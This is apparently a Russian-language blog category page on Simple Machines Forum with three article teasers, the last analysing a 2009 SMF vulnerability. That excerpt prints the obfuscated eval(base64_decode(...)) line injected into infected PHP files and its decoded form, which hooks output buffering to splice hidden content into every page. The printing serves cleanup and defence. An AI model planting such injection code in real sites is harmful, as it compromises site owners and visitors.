Статьи из рубрики «smf» RSS

Simple Machines Forum (SMF) — бесплатный интернет-форум, написанный на PHP и использующий базу данных MySQL. В данной рубрике приводятся советы по настройке и оптимизации SMF, а также различные пакеты модификаций.

Ошибка вычисления CRC32 в Simple Machines Forum 1.1.11

Если при загрузке пакета модификации ругается, выдавая сообщение

The package you tried to upload either is not a valid package or has become corrupted.

или ему аналогичное на другом языке:

Пакет, который Вы пытаетесь загрузить, не является пакетом модификации или поврежден.

При этом SMF установлен на сервере с 64-битной архитектурой, то поздравляю, возможно, вы попали по адресу. Далее »

Автор: , опубликовано в: Simple Machines Forum, комментариев: 1
27
Сен
2010

Конфигурация nginx для работы с Simple Machines Forum

Simple Machines Forum () — бесплатный интернет-форум, написанный на PHP и использующий базу данных MySQL.

«Дружественные URL» (ЧПУ) поддерживает только для Apache; для , как водится, официальной поддержки нет. Поэтому в данной статье пойдёт речь именно о том, как заставить работать ЧПУ в . Далее »

Автор: , опубликовано в: nginx, SEO, Simple Machines Forum, комментариев: нет
23
Сен
2010

Уязвимость в форуме SMF

В последнее время участились сообщения о взломах форумов, работающих на (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.

Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. существует в функции масштабирования аватаров.

Дополнительная информация здесь.

Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:

[-]
View Code PHP
< ?php /**/eval(base64_decode('aWYoZnVuY3R(поскипано)9fQ==')); ?>

BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):

[-]
View Code PHP
< ?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
    $GLOBALS['sh_no']=1;
    if(file_exists('.../style.css.php')){
        include_once('.../style.css.php');
        if(function_exists('gml')&&!function_exists('dgobh')){
            if(!function_exists('gzdecode')){
                function gzdecode($d){
                    $f=ord(substr($d,3,1));
                    $h=10;
                    $e=0;
                    if($f&4){
                        $e=unpack('v',substr($d,10,2));
                        $e=$e[1];
                        $h+=2+$e;
                    }
                    if($f&8){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&16){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&2){
                        $h+=2;
                    }
                    $u=gzinflate(substr($d,$h));
                    if($u===FALSE){
                        $u=$d;
                    }
                    return $u;
                }
            }
            function dgobh($b){
                Header('Content-Encoding: none');
                $c=gzdecode($b);
                if(preg_match('/\<body/si',$c)){
                    return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
                }
                else{
                    return gml().$c;
                }
            }
            ob_start('dgobh');
        }
    }
}
?>

“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?

Есть два варианта. Далее »

Автор: , опубликовано в: Linux, Simple Machines Forum, Безопасность, комментариев: 2
23
Май
2009